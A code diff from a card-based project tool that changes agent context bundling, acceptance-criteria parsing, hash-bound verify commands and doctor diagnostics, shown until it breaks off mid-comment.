@@ -550,6 +551,8 @@ const seen = new Set(); | ||
| ...conventions, | ||
| ...decisions, | ||
| ...incidents, | ||
| ...learnings, | ||
| ...contexts | ||
| // Ranked across the four collections rather than within each, so a | ||
| // learning that is plainly about this card outranks a decision that | ||
| // merely qualified. Direct relations are already above this line and | ||
| // never compete: a record the card names is in the bundle whatever it | ||
| // scores. | ||
| ...qualified.filter(relevant).sort(byRank) | ||
| ]) { | ||
@@ -561,11 +564,36 @@ if (!record || seen.has(record.id)) | ||
| } | ||
| // Measured against what actually got in, not against what relevance | ||
| // rejected: a record the card names explicitly is admitted above this by | ||
| // `direct`, and counting it as left out reported a record the bundle was | ||
| // carrying. | ||
| const dropped = qualified.filter((record) => !seen.has(record.id)); | ||
| const maxRecords = Math.max(1, Math.min(50, Number(options.limit || 20))); | ||
| const records = prioritized.slice(0, maxRecords); | ||
| const isEs = spanish(workspace); | ||
| const overflow = prioritized.slice(maxRecords); | ||
| // The exemption above put every accepted decision in the bundle, and the | ||
| // cap took them straight back out — so the guarantee it was written for | ||
| // held only while a workspace stayed small enough not to need it. Fifty | ||
| // accepted ADRs and a `--limit` of twenty means thirty of them are a | ||
| // number in a footer, which is what the exemption exists to prevent. | ||
| // | ||
| // A normative record that does not fit degrades to its title instead of | ||
| // disappearing. That is the whole trade: a line of about sixty characters | ||
| // against a summary of several hundred, so the bundle stays inside a | ||
| // prompt while an agent can still see that ADR-0031 exists and go read it. | ||
| // It is exactly the right thing for the record this catches, too — an | ||
| // unranked decision sorts to the tail on `Infinity`, so the ones digested | ||
| // are the ones that merely qualified, never the ones this card is about. | ||
| // | ||
| // Uncapped on purpose. The digest is bounded by the accepted normative | ||
| // set, and a workspace where that alone will not fit is telling you its | ||
| // supersede discipline has stopped working — which is the first fix | ||
| // [[T-0176]] listed and still the real one. Truncating it here would hide | ||
| // exactly that. | ||
| const normative = (record) => NORMATIVE.includes(record.collection); | ||
| const digest = overflow.filter(normative); | ||
| const cut = overflow.filter((record) => !normative(record)); | ||
| const markdown = [ | ||
| `# ${isEs ? "Contexto de agente" : "Agent context"}${focus ? ` — ${focus.id}` : ""}`, | ||
| `# Agent context${focus ? ` — ${focus.id}` : ""}`, | ||
| "", | ||
| isEs | ||
| ? `Contexto mínimo derivado del índice canónico. No sustituye la lectura de los archivos cuando necesites detalle.` | ||
| : `Minimal context derived from the canonical index. It does not replace reading source files when detail is needed.`, | ||
| `Minimal context derived from the canonical index. It does not replace reading source files when detail is needed.`, | ||
| "", | ||
@@ -575,10 +603,36 @@ // Two lines, not a section. The bundle is budgeted, and the records | ||
| // provenance runs between them. | ||
| ...(cameFrom.length | ||
| ? [`${isEs ? "**Surgió de**" : "**Came out of**"}: ${cameFrom.join(", ")}`] | ||
| ...(cameFrom.length ? [`**Came out of**: ${cameFrom.join(", ")}`] : []), | ||
| ...(spawned.length ? [`**Spawned**: ${spawned.join(", ")}`] : []), | ||
| ...(cameFrom.length || spawned.length ? [""] : []), | ||
| ...records.flatMap((record) => [renderRecordSummary(record), ""]), | ||
| // Named, not counted. "30 beyond --limit" and "ADR-0031 — the search | ||
| // index is rebuilt, never patched" are different sentences: only the | ||
| // second lets an agent notice that a rule it is about to contradict | ||
| // exists, which is the entire claim the exemption makes. | ||
| ...(digest.length | ||
| ? [ | ||
| `---`, | ||
| "", | ||
| `**Also in force**, beyond \`--limit ${maxRecords}\` and not repeated above — ` + | ||
| `read one with \`${workspace.cli} show ID\` before contradicting it:`, | ||
| "", | ||
| ...digest.map((record) => `- **${record.id}** — ${record.title}`), | ||
| "" | ||
| ] | ||
| : []), | ||
| ...(spawned.length | ||
| ? [`${isEs ? "**Ha generado**" : "**Spawned**"}: ${spawned.join(", ")}`] | ||
| : []), | ||
| ...(cameFrom.length || spawned.length ? [""] : []), | ||
| ...records.flatMap((record) => [renderRecordSummary(record), ""]) | ||
| // A bundle that silently leaves records out reads exactly like a | ||
| // workspace that has none, and the agent has no way to tell which it is | ||
| // looking at. It says so, and says what reaches the rest. | ||
| ...(dropped.length || cut.length | ||
| ? [ | ||
| `---`, | ||
| "", | ||
| `**Left out**: ${[ | ||
| dropped.length ? `${dropped.length} below the relevance threshold for this card` : null, | ||
| cut.length ? `${cut.length} beyond \`--limit ${maxRecords}\`` : null | ||
| ] | ||
| .filter(Boolean) | ||
| .join(", ")}. \`${workspace.cli} search "query"\` reaches every record; \`--limit\` raises the ceiling.` | ||
| ] | ||
| : []) | ||
| ] | ||
@@ -593,5 +647,21 @@ .join("\n") | ||
| totalAvailable: prioritized.length, | ||
| // Kept separate from `truncated` rather than folded into it. The two | ||
| // are different questions — "the cap dropped relations" against "this | ||
| // card is not what these records are about" — and T-0147 is open on | ||
| // what happens when one field carries two meanings. | ||
| omitted: { | ||
| relevance: dropped.map((record) => record.id), | ||
| limit: cut.map((record) => record.id) | ||
| }, | ||
| records, | ||
| // Its own field, not a third entry under `omitted`: these are in the | ||
| // bundle. A consumer that folds them into "left out" reports the one | ||
| // thing that is not true of them. | ||
| digest: digest.map((record) => ({ | ||
| id: record.id, | ||
| title: record.title, | ||
| collection: record.collection | ||
| })), | ||
| markdown | ||
| }; | ||
| } |
@@ -1,1 +0,1 @@ | ||
| export { AGENT_TARGETS, buildAgentContext, checkAgentInstructions, renderAgentFiles, syncAgentInstructions } from "./agents.js"; | ||
| export { AGENT_TARGETS, agentArtifactPaths, buildAgentContext, checkAgentInstructions, renderAgentFiles, syncAgentInstructions } from "./agents.js"; |
@@ -1,1 +0,1 @@ | ||
| export { AGENT_TARGETS, buildAgentContext, checkAgentInstructions, renderAgentFiles, syncAgentInstructions } from "./agents.js"; | ||
| export { AGENT_TARGETS, agentArtifactPaths, buildAgentContext, checkAgentInstructions, renderAgentFiles, syncAgentInstructions } from "./agents.js"; |
@@ -37,2 +37,16 @@ /** | ||
| unchecked: AcceptanceItem[]; | ||
| /** | ||
| * Checklist items the region does not cover, in order of appearance. | ||
| * | ||
| * These are not criteria and are deliberately not addressable — `card ac | ||
| * --check` will not touch them, because the reader does not know that they | ||
| * are criteria. They exist so that `present: false` can be reported as | ||
| * "no heading I recognised" rather than as "no criteria", which is a claim | ||
| * about the card that the reader is not entitled to make. | ||
| * | ||
| * Only meaningful when `present` is false. A card that declares its | ||
| * criteria properly and also keeps a checklist somewhere else is doing | ||
| * nothing wrong, and consumers must not read that list as criteria. | ||
| */ | ||
| orphans: AcceptanceItem[]; | ||
| } | ||
@@ -46,6 +60,78 @@ /** | ||
| * declares the section and leaves it empty, which is a different mistake. | ||
| * | ||
| * Fenced blocks are not the region and cannot open it. A card quoting an | ||
| * example body — which is what a card *about* card bodies contains — read its | ||
| * criteria out of the quote: T-0157 reported "0 of 1 met" against a criterion | ||
| * printed inside a code fence, while its five real ones went uncounted. That | ||
| * reading gates `done`, and `card ac --check` would have edited the quote. | ||
| */ | ||
| export declare function parseAcceptance(body?: string): AcceptanceReading; | ||
| /** | ||
| * The unchecked items a card is carrying that nothing has agreed to call | ||
| * criteria — the reading `done` and `doctor` act on. | ||
| * | ||
| * Empty whenever the card declares a region of its own, whatever else its body | ||
| * contains. Checked orphans are excluded because nothing about them is | ||
| * unproven; the question is only ever what is still open. | ||
| */ | ||
| export declare function unreadableCriteria(reading: AcceptanceReading): AcceptanceItem[]; | ||
| /** Human-facing summary: `2 of 5`. */ | ||
| export declare function acceptanceSummary(reading: AcceptanceReading): string; | ||
| /** | ||
| * A criterion's text, reduced to what a binding should survive. | ||
| * | ||
| * Trim and collapse whitespace runs, and nothing else. Reflowing a paragraph or | ||
| * re-indenting a list must not break a binding, and neither is a change to what | ||
| * the criterion says. Case and punctuation are left alone precisely because | ||
| * they are: "the gate refuses done" and "the gate refuses done?" are different | ||
| * claims, and a binding that survived the difference would be asserting | ||
| * something nobody proved. | ||
| */ | ||
| export declare function normalizeCriterion(text: string): string; | ||
| /** `sha256:` and 64 lowercase hex digits — the form `verify[].criteria` holds. */ | ||
| export declare const CRITERION_DIGEST: RegExp; | ||
| /** | ||
| * The binding between a criterion and the command that proves it. | ||
| * | ||
| * A hash of the text rather than an index, per ADR-0016. Indices are positional | ||
| * — the comment at the top of this file explains why that is safe for a write — | ||
| * but a binding has to survive the interval between proving criterion 2 and | ||
| * reaching `done`, which no lock covers. Hashing the text makes a reorder | ||
| * harmless and makes an edit break the binding, which is wanted both ways: the | ||
| * criterion that was proved is not the criterion that now stands. | ||
| */ | ||
| export declare function criterionDigest(text: string): string; | ||
| export interface VerifyEntry { | ||
| id: string; | ||
| /** | ||
| * The command as an argument vector, spawned without a shell — see | ||
| * `argvElements` in `validation.ts` for why it is not a shell string. The | ||
| * frontmatter codec holds it as an inline list inside the record: | ||
| * `run: [pnpm, test]`. | ||
| */ | ||
| run: string[]; | ||
| criteria?: string[]; | ||
| } | ||
| /** The `verify` entries of a card, or an empty list when it declares none. */ | ||
| export declare function verifyEntries(verify: unknown): VerifyEntry[]; | ||
| /** | ||
| * Which criteria are machine-owned, by index, and by what. | ||
| * | ||
| * A bound criterion is one `card ac --check` must refuse — that refusal is the | ||
| * whole point of the binding, since it is what moves the criterion from | ||
| * something an agent asserts to something a command decided. | ||
| */ | ||
| export declare function criterionOwners(reading: AcceptanceReading, verify: unknown): Map<number, VerifyEntry>; | ||
| /** | ||
| * Bindings that point at text no criterion carries any more. | ||
| * | ||
| * Reported rather than repaired. A digest stops matching for two reasons that | ||
| * look identical from here — the criterion was reworded, or it was replaced by | ||
| * a different claim — and only the author knows which. Silently rebinding would | ||
| * make the second case invisible, which is the case the digest exists for. | ||
| */ | ||
| export declare function staleBindings(reading: AcceptanceReading, verify: unknown): Array<{ | ||
| entry: string; | ||
| digest: string; | ||
| }>; | ||
| export declare class AcceptanceIndexError extends Error { | ||
@@ -57,3 +143,25 @@ index: number; | ||
| } | ||
| /** A hand-written check on a criterion a command owns. */ | ||
| export declare class AcceptanceBoundError extends Error { | ||
| index: number; | ||
| entry: string; | ||
| run: readonly string[]; | ||
| code: string; | ||
| constructor(index: number, entry: string, run: readonly string[]); | ||
| } | ||
| /** | ||
| * A run reporting on a criterion it does not prove. | ||
| * | ||
| * The mirror of the rule above, and it has to exist for that rule to mean | ||
| * anything: a runner allowed to check whatever it liked would be the same hole | ||
| * one rung further in, reached by declaring a `verify` entry instead of by | ||
| * typing `card ac --check`. | ||
| */ | ||
| export declare class AcceptanceUnboundError extends Error { | ||
| index: number; | ||
| entry: string; | ||
| code: string; | ||
| constructor(index: number, entry: string); | ||
| } | ||
| /** | ||
| * Returns the body with the named criteria checked or unchecked. | ||
@@ -69,6 +177,14 @@ * | ||
| * instruction is the failure mode an agent cannot detect. | ||
| * | ||
| * `owners` makes a bound criterion machine-owned. Without `runner`, the caller | ||
| * is whoever typed the command, and a bound index is refused. With it, the | ||
| * caller is one `verify` entry reporting its own result, and it may write the | ||
| * criteria bound to it and no others — a run that could check a criterion it | ||
| * does not prove would be the same hole one rung further in. | ||
| */ | ||
| export declare function applyAcceptance(body?: string, { check, uncheck }?: { | ||
| export declare function applyAcceptance(body?: string, { check, uncheck, owners, runner }?: { | ||
| check?: number[]; | ||
| uncheck?: number[]; | ||
| owners?: Map<number, VerifyEntry>; | ||
| runner?: string | null; | ||
| }): { | ||
@@ -75,0 +191,0 @@ body: string; |
@@ -23,4 +23,20 @@ /** | ||
| */ | ||
| /** The heading that opens the region. Matched case-insensitively. */ | ||
| const HEADING = /^(#{1,6})\s+acceptance\s+criteria\b.*$/im; | ||
| import { createHash } from "node:crypto"; | ||
| import { fencedLines, isProtocolSection } from "./body.js"; | ||
| /** | ||
| * The headings that open the region, case-insensitive. | ||
| * | ||
| * This was one phrase, `acceptance criteria`, and everything else read as a | ||
| * card with no criteria at all — which `done` then had nothing to hold. The | ||
| * heading is prose a human types, so the vocabulary has to cover what humans | ||
| * actually type: this repository's own T-0026 through T-0029 wrote | ||
| * `## Acceptance` and were closed with four unproven criteria between them, | ||
| * and DOC-0005 arrived from outside reporting the same hole in Spanish. | ||
| * | ||
| * Widening it is not the fix, though, and must not be mistaken for one. There | ||
| * is always another phrasing — `Definition of done` today, something else | ||
| * tomorrow. What closes the hole is `orphans` below: the reader stops claiming | ||
| * a card has no criteria when its body plainly carries unchecked boxes. | ||
| */ | ||
| const HEADING = /^(#{1,6})\s+(?:acceptance(?:\s+criteria)?|definition\s+of\s+done|(?:success|exit)\s+criteria)\b.*$/i; | ||
| /** A checklist item: `- [ ] text`, `* [x] text`, any indentation. */ | ||
@@ -35,19 +51,74 @@ const ITEM = /^(\s*)([-*])(\s+)\[([ xX])\](\s+)(.*)$/; | ||
| * declares the section and leaves it empty, which is a different mistake. | ||
| * | ||
| * Fenced blocks are not the region and cannot open it. A card quoting an | ||
| * example body — which is what a card *about* card bodies contains — read its | ||
| * criteria out of the quote: T-0157 reported "0 of 1 met" against a criterion | ||
| * printed inside a code fence, while its five real ones went uncounted. That | ||
| * reading gates `done`, and `card ac --check` would have edited the quote. | ||
| */ | ||
| export function parseAcceptance(body = "") { | ||
| const lines = String(body).split(/\r?\n/); | ||
| const headingIndex = lines.findIndex((line) => HEADING.test(line)); | ||
| if (headingIndex === -1) | ||
| return { present: false, items: [], unchecked: [] }; | ||
| const openedAt = (lines[headingIndex].match(/^(#{1,6})/) || [])[1]?.length ?? 2; | ||
| const fenced = fencedLines(lines); | ||
| const headingIndex = lines.findIndex((line, at) => !fenced[at] && HEADING.test(line)); | ||
| const items = []; | ||
| for (let line = headingIndex + 1; line < lines.length; line += 1) { | ||
| const heading = lines[line].match(/^(#{1,6})\s+\S/); | ||
| if (heading && heading[1].length <= openedAt) | ||
| break; | ||
| // Where the region stops, so the orphan pass knows what it must not read | ||
| // twice. `lines.length` when the section runs to the end of the body. | ||
| let regionEnd = -1; | ||
| if (headingIndex !== -1) { | ||
| const openedAt = (lines[headingIndex].match(/^(#{1,6})/) || [])[1]?.length ?? 2; | ||
| regionEnd = lines.length; | ||
| for (let line = headingIndex + 1; line < lines.length; line += 1) { | ||
| if (fenced[line]) | ||
| continue; | ||
| const heading = lines[line].match(/^(#{1,6})\s+\S/); | ||
| if (heading && heading[1].length <= openedAt) { | ||
| regionEnd = line; | ||
| break; | ||
| } | ||
| const match = lines[line].match(ITEM); | ||
| if (!match) | ||
| continue; | ||
| items.push({ | ||
| index: items.length + 1, | ||
| text: match[6].trim(), | ||
| checked: match[4] !== " ", | ||
| line | ||
| }); | ||
| } | ||
| } | ||
| return { | ||
| present: headingIndex !== -1, | ||
| items, | ||
| unchecked: items.filter((item) => !item.checked), | ||
| orphans: collectOrphans(lines, fenced, headingIndex, regionEnd) | ||
| }; | ||
| } | ||
| /** | ||
| * Checklist items living outside the region. | ||
| * | ||
| * `## Activity` and `## Notes` are excluded. They are the sections the tool | ||
| * writes into, a note is free prose, and a checklist someone pasted into one | ||
| * is the clearest case of a list that was never a criterion. Everything else | ||
| * counts: a card that keeps its criteria under a heading nobody agreed on is | ||
| * exactly what this is for. | ||
| */ | ||
| function collectOrphans(lines, fenced, headingIndex, regionEnd) { | ||
| const orphans = []; | ||
| let section = null; | ||
| for (let line = 0; line < lines.length; line += 1) { | ||
| if (!fenced[line] && /^##(?!#)\s+\S/.test(lines[line])) { | ||
| section = lines[line].trim(); | ||
| } | ||
| if (fenced[line]) | ||
| continue; | ||
| if (headingIndex !== -1 && line >= headingIndex && line < regionEnd) { | ||
| continue; | ||
| } | ||
| if (isProtocolSection(section)) | ||
| continue; | ||
| const match = lines[line].match(ITEM); | ||
| if (!match) | ||
| continue; | ||
| items.push({ | ||
| index: items.length + 1, | ||
| orphans.push({ | ||
| index: orphans.length + 1, | ||
| text: match[6].trim(), | ||
@@ -58,8 +129,17 @@ checked: match[4] !== " ", | ||
| } | ||
| return { | ||
| present: true, | ||
| items, | ||
| unchecked: items.filter((item) => !item.checked) | ||
| }; | ||
| return orphans; | ||
| } | ||
| /** | ||
| * The unchecked items a card is carrying that nothing has agreed to call | ||
| * criteria — the reading `done` and `doctor` act on. | ||
| * | ||
| * Empty whenever the card declares a region of its own, whatever else its body | ||
| * contains. Checked orphans are excluded because nothing about them is | ||
| * unproven; the question is only ever what is still open. | ||
| */ | ||
| export function unreadableCriteria(reading) { | ||
| if (reading.present) | ||
| return []; | ||
| return reading.orphans.filter((item) => !item.checked); | ||
| } | ||
| /** Human-facing summary: `2 of 5`. */ | ||
@@ -70,2 +150,79 @@ export function acceptanceSummary(reading) { | ||
| } | ||
| /** | ||
| * A criterion's text, reduced to what a binding should survive. | ||
| * | ||
| * Trim and collapse whitespace runs, and nothing else. Reflowing a paragraph or | ||
| * re-indenting a list must not break a binding, and neither is a change to what | ||
| * the criterion says. Case and punctuation are left alone precisely because | ||
| * they are: "the gate refuses done" and "the gate refuses done?" are different | ||
| * claims, and a binding that survived the difference would be asserting | ||
| * something nobody proved. | ||
| */ | ||
| export function normalizeCriterion(text) { | ||
| return String(text).trim().replace(/\s+/g, " "); | ||
| } | ||
| /** `sha256:` and 64 lowercase hex digits — the form `verify[].criteria` holds. */ | ||
| export const CRITERION_DIGEST = /^sha256:[0-9a-f]{64}$/; | ||
| /** | ||
| * The binding between a criterion and the command that proves it. | ||
| * | ||
| * A hash of the text rather than an index, per ADR-0016. Indices are positional | ||
| * — the comment at the top of this file explains why that is safe for a write — | ||
| * but a binding has to survive the interval between proving criterion 2 and | ||
| * reaching `done`, which no lock covers. Hashing the text makes a reorder | ||
| * harmless and makes an edit break the binding, which is wanted both ways: the | ||
| * criterion that was proved is not the criterion that now stands. | ||
| */ | ||
| export function criterionDigest(text) { | ||
| return `sha256:${createHash("sha256") | ||
| .update(normalizeCriterion(text), "utf8") | ||
| .digest("hex")}`; | ||
| } | ||
| /** The `verify` entries of a card, or an empty list when it declares none. */ | ||
| export function verifyEntries(verify) { | ||
| return Array.isArray(verify) | ||
| ? verify.filter((entry) => entry && typeof entry === "object" && !Array.isArray(entry)) | ||
| : []; | ||
| } | ||
| /** | ||
| * Which criteria are machine-owned, by index, and by what. | ||
| * | ||
| * A bound criterion is one `card ac --check` must refuse — that refusal is the | ||
| * whole point of the binding, since it is what moves the criterion from | ||
| * something an agent asserts to something a command decided. | ||
| */ | ||
| export function criterionOwners(reading, verify) { | ||
| const owners = new Map(); | ||
| const entries = verifyEntries(verify); | ||
| if (!entries.length) | ||
| return owners; | ||
| const byDigest = new Map(reading.items.map((item) => [criterionDigest(item.text), item])); | ||
| for (const entry of entries) { | ||
| for (const digest of entry.criteria || []) { | ||
| const item = byDigest.get(digest); | ||
| if (item) | ||
| owners.set(item.index, entry); | ||
| } | ||
| } | ||
| return owners; | ||
| } | ||
| /** | ||
| * Bindings that point at text no criterion carries any more. | ||
| * | ||
| * Reported rather than repaired. A digest stops matching for two reasons that | ||
| * look identical from here — the criterion was reworded, or it was replaced by | ||
| * a different claim — and only the author knows which. Silently rebinding would | ||
| * make the second case invisible, which is the case the digest exists for. | ||
| */ | ||
| export function staleBindings(reading, verify) { | ||
| const known = new Set(reading.items.map((item) => criterionDigest(item.text))); | ||
| const stale = []; | ||
| for (const entry of verifyEntries(verify)) { | ||
| for (const digest of entry.criteria || []) { | ||
| if (!known.has(digest)) | ||
| stale.push({ entry: entry.id, digest }); | ||
| } | ||
| } | ||
| return stale; | ||
| } | ||
| export class AcceptanceIndexError extends Error { | ||
@@ -83,3 +240,36 @@ index; | ||
| } | ||
| /** A hand-written check on a criterion a command owns. */ | ||
| export class AcceptanceBoundError extends Error { | ||
| index; | ||
| entry; | ||
| run; | ||
| code = "CARD_ACCEPTANCE_MACHINE_OWNED"; | ||
| constructor(index, entry, run) { | ||
| super(`Criterion ${index} is proved by \`${run.join(" ")}\` (verify entry ${entry}), ` + | ||
| `so only that run may check it. Run \`workfile card verify\` instead.`); | ||
| this.index = index; | ||
| this.entry = entry; | ||
| this.run = run; | ||
| } | ||
| } | ||
| /** | ||
| * A run reporting on a criterion it does not prove. | ||
| * | ||
| * The mirror of the rule above, and it has to exist for that rule to mean | ||
| * anything: a runner allowed to check whatever it liked would be the same hole | ||
| * one rung further in, reached by declaring a `verify` entry instead of by | ||
| * typing `card ac --check`. | ||
| */ | ||
| export class AcceptanceUnboundError extends Error { | ||
| index; | ||
| entry; | ||
| code = "CARD_ACCEPTANCE_NOT_BOUND"; | ||
| constructor(index, entry) { | ||
| super(`Verify entry ${entry} does not prove criterion ${index}, so it cannot ` + | ||
| `check it. Bind the criterion to the entry first.`); | ||
| this.index = index; | ||
| this.entry = entry; | ||
| } | ||
| } | ||
| /** | ||
| * Returns the body with the named criteria checked or unchecked. | ||
@@ -95,4 +285,10 @@ * | ||
| * instruction is the failure mode an agent cannot detect. | ||
| * | ||
| * `owners` makes a bound criterion machine-owned. Without `runner`, the caller | ||
| * is whoever typed the command, and a bound index is refused. With it, the | ||
| * caller is one `verify` entry reporting its own result, and it may write the | ||
| * criteria bound to it and no others — a run that could check a criterion it | ||
| * does not prove would be the same hole one rung further in. | ||
| */ | ||
| export function applyAcceptance(body = "", { check = [], uncheck = [] } = {}) { | ||
| export function applyAcceptance(body = "", { check = [], uncheck = [], owners, runner = null } = {}) { | ||
| const wanted = new Map(); | ||
@@ -113,2 +309,10 @@ // Applied in argument order, so `--check 1 --uncheck 1` ends unchecked and | ||
| } | ||
| const owner = owners?.get(index); | ||
| if (runner) { | ||
| if (owner?.id !== runner) | ||
| throw new AcceptanceUnboundError(index, runner); | ||
| } | ||
| else if (owner) { | ||
| throw new AcceptanceBoundError(index, owner.id, owner.run); | ||
| } | ||
| } | ||
@@ -115,0 +319,0 @@ const lines = String(body).split(/\r?\n/); |
@@ -39,4 +39,5 @@ export declare const CARD_LIST_KEYS: Set<string>; | ||
| */ | ||
| export declare function diagnoseCards({ cards, unreadable, workspace, checkPaths, knownIds, now }: { | ||
| export declare function diagnoseCards({ cards, unreadable, workspace, checkPaths, checkGit, knownIds, now }: { | ||
| cards: any; | ||
| checkGit?: boolean; | ||
| checkPaths?: boolean; | ||
@@ -43,0 +44,0 @@ knownIds?: Set<string>; |
| import { access, readdir, readFile } from "node:fs/promises"; | ||
| import { basename, isAbsolute, join, relative, resolve } from "node:path"; | ||
| import { ValidationError } from "../../core/errors.js"; | ||
| import { parseFrontmatter } from "../../core/frontmatter.js"; | ||
| import { readMarkdownTree } from "../../core/paths.js"; | ||
| import { revisionForContent } from "../../core/revision.js"; | ||
| import { parseAcceptance } from "./acceptance.js"; | ||
| import { parseAcceptance, staleBindings, unreadableCriteria, verifyEntries } from "./acceptance.js"; | ||
| import { misplacedTrailEntries } from "./body.js"; | ||
| import { claimState, readAgentSessions } from "./claims.js"; | ||
| import { headCommit, isAncestorOfHead, isShallowRepository } from "./git.js"; | ||
| import { cardFileName } from "./slug.js"; | ||
| import { declaredAxes } from "./validation.js"; | ||
| import { allowedCommands, argvElements, commandAllowed, commandNotAllowedMessage, declaredAxes, formatCommand, verificationRefusal } from "./validation.js"; | ||
| import { criteriaDigest, verifiedCommit, verifiedProblems } from "./verification.js"; | ||
| import { isResourceExhaustion, mapWithConcurrency } from "../../core/concurrency.js"; | ||
@@ -66,2 +70,18 @@ import { CARD_EFFORTS, CARD_PRIORITIES, CARD_STATUSES, CARD_TYPES } from "../../config/defaults.js"; | ||
| const card = parseCard(file, content, archived); | ||
| // The one field a loaded card cannot be missing. Every other absent | ||
| // field is doctor's business — the card loads and the report names | ||
| // it — but `buildProjectIndex` sorts every record on `id`, so a | ||
| // hand-edited card with no `id:` line threw out of the sort after | ||
| // every file had been read, killing the whole load and with it | ||
| // doctor, the server and every command, naming neither the file nor | ||
| // the field. A bare `id:` parses to no key at all and `id: ""` to | ||
| // the empty string; neither sorts. Refused here, where the same | ||
| // `catch` already puts every other malformed card: `unreadable`, | ||
| // with its path, and the rest of the directory still loads. | ||
| if (card && typeof card.id !== "string") { | ||
| throw new ValidationError("CARD_ID_REQUIRED", `Card has no id: ${file}`); | ||
| } | ||
| if (card && !card.id.trim()) { | ||
| throw new ValidationError("CARD_ID_REQUIRED", `Card has an empty id: ${file}`); | ||
| } | ||
| return { | ||
@@ -187,2 +207,6 @@ file, | ||
| export async function diagnoseCards({ cards, unreadable = [], workspace, checkPaths = true, | ||
| // Whether ancestry may be answered by spawning git. On by default and off | ||
| // in the unit tests that hand this a fabricated workspace — but see the | ||
| // short circuit below, which is what actually keeps the common case free. | ||
| checkGit = true, | ||
| // Annotated through the default rather than on the destructure: `null` | ||
@@ -217,2 +241,3 @@ // alone infers `never`, so every `knownIds.has(...)` below becomes an | ||
| const axes = declaredAxes(workspace); | ||
| const allowed = allowedCommands(workspace); | ||
| const idRe = cardIdPattern(workspace.config.cards.idPrefix); | ||
@@ -315,2 +340,10 @@ for (const card of cards) { | ||
| } | ||
| // Written by the protocol, in the wrong place, by the protocol. A | ||
| // warning rather than an error because nothing downstream computes on | ||
| // the trail — but it is unreadable where it landed, and invisible to | ||
| // the reader who would otherwise notice, so it has to be said. | ||
| const stray = misplacedTrailEntries(card.body); | ||
| if (stray.length) { | ||
| issues.push(issue("warning", "misplaced-trail", card, `${stray.length} trail ${stray.length === 1 ? "entry is" : "entries are"} outside \`## Activity\`. Run \`workfile doctor --fix\`.`)); | ||
| } | ||
| const hierarchy = hierarchyDepth(card, byId); | ||
@@ -338,3 +371,59 @@ if (hierarchy.cycle) { | ||
| // to open the card and read. | ||
| const pending = parseAcceptance(card.body).unchecked; | ||
| const reading = parseAcceptance(card.body); | ||
| // Reported at any status, not only at `done`. The point of the check is | ||
| // that the card is carrying criteria nothing can see, and the moment | ||
| // worth saying so is while there is still time to fix the heading — | ||
| // by `done` the gate has already refused, or already let it through on | ||
| // the version of this repository that shipped before it existed. | ||
| const unreadable = card.archived ? [] : unreadableCriteria(reading); | ||
| if (unreadable.length) { | ||
| issues.push(issue("warning", "acceptance-unreadable", card, `Card has ${unreadable.length} unchecked checklist ` + | ||
| `${unreadable.length === 1 ? "item" : "items"} under no ` + | ||
| `heading the acceptance reader recognises: ` + | ||
| unreadable.map((item) => item.text).join("; "), { unreadable: unreadable.map(({ text }) => ({ text })) })); | ||
| } | ||
| // A binding names the text it proves, so text that no longer exists | ||
| // means the criterion was reworded or replaced after the command was | ||
| // bound to it. Reported rather than repaired: the two look identical | ||
| // from here and only the author knows which happened. This is the whole | ||
| // reason the binding is a hash and not an index. | ||
| const stale = staleBindings(reading, card.verify); | ||
| if (stale.length) { | ||
| issues.push(issue("warning", "verify-binding-stale", card, `Card has ${stale.length} verify ` + | ||
| `${stale.length === 1 ? "binding" : "bindings"} pointing at ` + | ||
| `text no criterion carries any more: ` + | ||
| stale | ||
| .map((binding) => `${binding.entry} → ${binding.digest}`) | ||
| .join("; "), { bindings: stale })); | ||
| } | ||
| // The same allowlist the write path enforces, checked again on read. | ||
| // | ||
| // This is the half that reaches a card nobody wrote through the | ||
| // protocol. A card is a Markdown file, so in a repository that takes | ||
| // pull requests one arrives as a *file in a diff*: it never calls | ||
| // `createCard` or `patchCard`, and a write-time refusal never runs. The | ||
| // gate that turns that pull request red is this one, because `doctor | ||
| // --json` is what the generated CI workflow exists to run and `ok` is | ||
| // false while any error stands. | ||
| // | ||
| // `error` rather than `warning` for exactly that reason. A warning | ||
| // would let the case this rule was written for merge green, and there | ||
| // is no adoption cost to weigh against it: a repository that declares | ||
| // no commands also has no cards carrying one. | ||
| for (const entry of verifyEntries(card.verify)) { | ||
| const argv = argvElements(entry.run); | ||
| if (!argv) { | ||
| issues.push(issue("error", "verify-run-invalid", card, `Verify entry ${entry.id} does not carry an argument vector, ` + | ||
| `so nothing can decide what it would run.`, { entry: entry.id })); | ||
| continue; | ||
| } | ||
| if (!commandAllowed(allowed, argv)) { | ||
| issues.push(issue("error", "verify-command-not-allowed", card, commandNotAllowedMessage(entry.id, argv, allowed), { | ||
| entry: entry.id, | ||
| run: formatCommand(argv), | ||
| declared: allowed.map(formatCommand) | ||
| })); | ||
| } | ||
| } | ||
| const pending = reading.unchecked; | ||
| if (card.status === "done" && pending.length) { | ||
@@ -344,2 +433,54 @@ issues.push(issue("warning", "done-unchecked", card, `Done card has ${pending.length} unproven acceptance criteria: ` + | ||
| } | ||
| // No mutation can produce a malformed block, so one means the file was | ||
| // hand-edited or arrived as a file in somebody's diff. Worth a line of | ||
| // its own because the damage is not cosmetic: a `verified` the codec | ||
| // reads as opaque cannot be rewritten *or cleared*, so the card can no | ||
| // longer be reopened either, and the refusal names the codec rather | ||
| // than the edit that caused it. | ||
| const malformed = verifiedProblems(card.verified); | ||
| if (malformed.length) { | ||
| issues.push(issue("warning", "verified-block-invalid", card, `The verified block does not read as a verification: ` + | ||
| `${malformed.join("; ")}.`, { problems: malformed })); | ||
| } | ||
| else if (card.verified?.digest) { | ||
| // Reported, never enforced retroactively. A card verified against | ||
| // text that has since changed is information; invalidating history | ||
| // every time somebody touches the scope again would make the field | ||
| // noise, and nobody would read it. | ||
| // | ||
| // Archived cards included. Editing the criteria of work that is | ||
| // filed away is a stranger act than editing a live card's, not a | ||
| // more forgivable one, and the check costs nothing but a hash. | ||
| const actual = criteriaDigest({ | ||
| body: card.body, | ||
| verify: card.verify | ||
| }); | ||
| if (actual !== card.verified.digest) { | ||
| issues.push(issue("warning", "verified-criteria-changed", card, `Verified on ${card.verified.at} as ` + | ||
| `${card.verified.method}, against criteria text that ` + | ||
| `has since changed.`, { | ||
| verifiedAt: card.verified.at, | ||
| method: card.verified.method, | ||
| recorded: card.verified.digest, | ||
| actual | ||
| })); | ||
| } | ||
| } | ||
| // A policy can tighten after a card closes, and this is where that | ||
| // shows up. Reported, never enforced retroactively, for the reason the | ||
| // two rules above give: re-gating history would light up a hundred | ||
| // records on the day a project first declares a policy, and there is | ||
| // nothing to do about a shipped card except decide it is acceptable — | ||
